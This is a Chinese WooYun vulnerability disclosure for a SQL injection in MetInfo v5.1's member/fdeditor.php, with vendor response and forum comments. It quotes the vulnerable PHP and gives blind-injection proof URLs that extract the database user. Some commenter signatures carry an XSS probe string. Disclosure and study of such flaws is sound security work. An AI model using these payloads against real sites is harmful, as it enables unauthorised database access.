当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-062782

漏洞标题:MetInfo企业网站管理系统v5.1正式版SQL注入漏洞

相关厂商:cncert国家互联网应急中心

漏洞作者: xfkxfk

提交时间:2014-05-29 17:59

修复时间:2014-08-27 18:00

公开时间:2014-08-27 18:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-29: 细节已通知厂商并且等待厂商处理中
2014-06-03: 厂商已经确认,细节仅向厂商公开
2014-06-06: 细节向第三方安全合作伙伴开放
2014-07-28: 细节向核心白帽子及相关领域专家公开
2014-08-07: 细节向普通白帽子公开
2014-08-17: 细节向实习白帽子公开
2014-08-27: 细节向公众公开

简要描述:

MetInfo企业网站管理系统v5.1正式版SQL注入漏洞,无视GPC

详细说明:

MetInfo企业网站管理系统v5.1正式版
文件/member/fdeditor.php

$feedback_list=$db->get_one("select * from $met_feedback where id='$id'");
if(!$feedback_list){
okinfo('feedback.php?lang='.$lang,$lang_NoidJS);
}
if($feedback_list[readok]==1 || $feedback_list[useinfo]!='') okinfo('feedback.php?lang='.$lang,$lang_js24);
$query = "SELECT * FROM $met_parameter where lang='$lang' and module=8 order by no_order";
if($met_member_use)$query = "SELECT * FROM $met_parameter where lang='$lang' and module=8 and access<=$metinfo_member_type order by no_order";
$result = $db->query($query);
while($list= $db->fetch_array($result)){
if($list[type]==2 or $list[type]==4 or $list[type]==6){
$query1 = "select * from $met_list where lang='$lang' and bigid='".$list[id]."' order by no_order";
$result1 = $db->query($query1);
while($list1 = $db->fetch_array($result1)){
$paravalue[$list[id]][]=$list1;
}}
$value_list=$db->get_one("select * from $met_flist where paraid=$list[id] and listid=$id "); //问题在这里
$list[content]=$value_list[info];
$list[mark]=$list[name];
$list[para]="para".$list[id];
if($list[wr_ok]=='1')
{
$list[wr_must]="*";
$fdwr_list[]=$list;
}
$feedback_para[]=$list;
}


id参数没有经过单引号保护,直接进入SQL语句导致注入漏洞

漏洞证明:

1、登陆后,在线反馈,添加一个反馈
2、在管理反馈信息——查看反馈信息时id存在注入
http://localhost/metinfo5.1/member/fdeditor.php?lang=cn&id=2 AND ascii( substring( user( ) , 1, 1 ) ) >113——正常返回

1.png


http://localhost/metinfo5.1/member/fdeditor.php?lang=cn&id=2 AND ascii( substring( user( ) , 1, 1 ) ) >114——无返回

2.png


证明user()的第一个字符为r
继续修改substring( user( ) , 1, 1 )中的第二个数字,2,3,4,然后在修改后面的ascii码值,进一步得到user()=root

修复方案:

加单引号保护

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-06-03 13:30

厂商回复:

CNVD确认并复现所述情况(通过本地实例进行复现),由CNVD通过以往联系处渠道向软件生产厂商——长沙米拓公司通报。由于需要较强的利用前提,rank 12

最新状态:

暂无


漏洞评价:

评论

  1. 2014-05-29 18:13 | 索马里的海贼 ( 普通白帽子 | Rank:254 漏洞数:24 | http://tieba.baidu.com/f?kw=WOW)

    泪流满面。。。我刚开始看MetInfo...

  2. 2014-05-29 18:18 | 想要减肥的胖纸 ( 普通白帽子 | Rank:250 漏洞数:42 )

    膜拜大牛。看半天啥都没看到。求经验 求分享

  3. 2014-05-29 18:25 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2179 漏洞数:338 | 呵呵!)

    @想要减肥的胖纸 @索马里的海贼 在写之前的poc时,下载下来测试了下,运气好发现了一个

  4. 2014-05-29 18:28 | 乌帽子 ( 路人 | Rank:29 漏洞数:3 | 学习黑客哪家强 | 中国山东找蓝翔 | sql...)

    吾等屌丝默默关注

  5. 2014-05-29 18:35 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)

    5.1 标题写错了? 好像不是有5.2.5的么

  6. 2014-05-29 19:26 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2179 漏洞数:338 | 呵呵!)

    @′ 雨。 5.2一样存在

  7. 2014-05-29 19:41 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)

    这个要mark,看了好久,再也没有发现过。。。

  8. 2014-05-29 20:01 | mramydnei ( 普通白帽子 | Rank:348 漏洞数:80 )

    求带php白盒

  9. 2014-05-29 20:25 | 袋鼠妈妈 ( 普通白帽子 | Rank:449 漏洞数:61 | 故乡的原风景.MP3)

    Mark

  10. 2014-05-30 00:30 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    NB!

  11. 2014-05-30 04:28 | Lonely ( 实习白帽子 | Rank:72 漏洞数:27 | 人生如梦,始终都游不过当局者迷的悲哀。)

    默默关注 坐等公开

  12. 2014-06-06 16:06 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)

    较强的利用前提?不会是后台吧?还是gpc?

  13. 2014-07-14 11:39 | 爱梅小礼 ( 实习白帽子 | Rank:93 漏洞数:16 | 我怀念的是无话不说)

    我记得metinfo不是做的全局sql过滤的么,难道我记错了

  14. 2014-07-14 14:30 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)

    @爱梅小礼 int型注入放不掉阿楼主果然牛,这都找到了。。。

  15. 2014-08-28 10:33 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    耐心的作者赞一个

  16. 2014-10-27 13:39 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)

    楼主,测试最开始的if语句就过不了阿?神码情况$feedback_list=$db->get_one("select * from $met_feedback where id='$id'");if(!$feedback_list){okinfo('feedback.php?lang='.$lang,$lang_NoidJS);}